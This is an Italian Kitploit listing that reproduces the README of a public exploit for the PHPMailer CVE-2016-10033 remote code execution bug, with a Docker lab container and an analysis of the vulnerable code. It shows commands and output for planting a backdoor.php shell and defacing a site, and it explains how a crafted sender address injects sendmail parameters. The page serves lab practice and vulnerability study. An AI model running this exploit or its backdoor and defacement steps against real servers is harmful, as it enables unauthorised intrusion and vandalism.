Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 Exploit per l'esecuzione di codice remoto e container vulnerabile | Kitploit
Strumenti/GitHubGitHub/opsxcq/exploit-cve-2016-10033
Analisi Statica del Codice (SAST)Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubopsxcq/exploit-cve-2016-10033

exploit-CVE-2016-10033

408144256 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PHPMailer < 5.2.18 Exploit per l'esecuzione di codice remoto e container vulnerabile

Vedi RepositorySito web

PHPMailer < 5.2.18 Esecuzione di codice in remoto

Docker Pulls License

PHPMailer è la classe di trasporto più popolare al mondo, con circa 9 milioni di utenti in tutto il mondo. I download continuano a un ritmo significativo ogni giorno. Utilizzata da molti progetti open-source: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e molti altri.

PHPMailer, prima della versione 5.2.18, soffre di una vulnerabilità che potrebbe portare all'esecuzione di codice in remoto (RCE). La funzione mailSend nel transport isMail di PHPMailer, quando la proprietà Sender non è impostata, potrebbe consentire ad attaccanti remoti di passare parametri aggiuntivi al comando mail e, di conseguenza, eseguire codice arbitrario tramite un " (backslash e doppio apice) in un indirizzo From appositamente costruito.

Ambiente vulnerabile

Per allestire un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato; ti basterà eseguire il seguente comando:

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

E avvierà un'applicazione web vulnerabile sul tuo host sulla porta 8080

vulnerabile

Exploit

Per sfruttare questo target basta eseguire:

./exploit host:port

Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:

./exploit localhost:8080

Dopo lo sfruttamento, un file chiamato backdoor.php verrà salvato nella cartella root della directory web. E l'exploit ti fornirà una shell da cui potrai inviare comandi alla backdoor:

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Ed ecco fatto, hai la tua shell. C'è un altro exploit che illustra un altro caso d'uso.

./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

E se visiti di nuovo la pagina, vedrai questo:

defaceato

Codice vulnerabile

Prima di questo commit in class.phpmailer.php, in un determinato scenario non c'è alcun filtro sui caratteri speciali dell'indirizzo email del mittente. Questa falla può portare all'esecuzione di codice in remoto tramite la funzione mail qui.

Analizzando il codice, non c'è alcun filtro nella funzione mailSend()

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender viene aggiunto direttamente alla variabile $params, che è stata filtrata nella funzione validateAddress(), ma poiché usa la specifica RFC 3696, consente alcuni caratteri che romperanno le cose. In questo caso, le virgolette:

Oltre alla citazione tramite il carattere backslash, i caratteri convenzionali di doppio apice possono essere usati per racchiudere stringhe. Per esempio

"Abc@def"@example.com

"Fred Bloggs"@example.com

sono forme alternative dei primi due esempi precedenti. Queste forme citate sono raramente consigliate e poco comuni nella pratica, ma, come discusso sopra, devono essere supportate dalle applicazioni che elaborano indirizzi email. In particolare, le forme citate spesso compaiono nel contesto di indirizzi associati a migrazioni da altri sistemi e contesti; tali esigenze transitorie sorgono ancora e, poiché un sistema che accetta un indirizzo email fornito dall'utente non può "sapere" se quell'indirizzo è associato a un sistema legacy, le forme dell'indirizzo devono essere accettate e passate nell'ambiente email.

Puoi leggere l'intera RFC qui se vuoi. Inoltre, se la versione di PHP è inferiore alla 5.2.0 e PCRE non è installato, la variabile $patternselect in validateAddress() verrà impostata su noregex. Ciò farà sì che l'input possa evitare qualsiasi controllo regex. Passerà solo attraverso una piccola verifica:

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Poi, il flusso del codice passa alla funzione mailPassthru(), che, se eseguita in safe_mode, non sarà vulnerabile a questa falla, come dimostra il seguente codice

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Ma, se non è in esecuzione in safe_mode, il nostro parametro speciale verrà passato a mail() e, se saremo fortunati, farà sì che il nostro file, contenente tutto ciò che vogliamo, venga scritto dove scegliamo noi.

Note sullo sfruttamento della funzione PHP mail()

Lo sfruttamento della funzione PHP mail() non è una novità, ma è ancora attuale e c'è ancora chi lo utilizza. Per spiegare come funziona, diamo un'occhiata a come è definita la funzione mail():

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Esistono diversi metodi di sfruttamento per ottenere risultati differenti; noi ci concentreremo sullo sfruttamento del 5° parametro per ottenere l'esecuzione di codice in remoto (RCE). Il parametro $additional_parameters viene usato per passare flag aggiuntivi come opzioni da riga di comando al programma configurato per inviare l'email. Questa configurazione è definita dalla variabile sendmail_path.

Una nota sulla sicurezza dalla documentazione ufficiale di PHP:

Il parametro additional_parameters può essere usato per passare flag aggiuntivi come opzioni da riga di comando al programma configurato per l'invio della posta, come definito dall'impostazione di configurazione sendmail_path. Ad esempio, può essere usato per impostare l'indirizzo del mittente della busta quando si usa sendmail con l'opzione -f sendmail.

Questo parametro viene sottoposto a escaping da escapeshellcmd() internamente per prevenire l'esecuzione di comandi. escapeshellcmd() previene l'esecuzione di comandi, ma consente di aggiungere parametri aggiuntivi. Per ragioni di sicurezza, si raccomanda all'utente di sanificare questo parametro per evitare di aggiungere parametri indesiderati al comando di shell.

Scarica lo strumento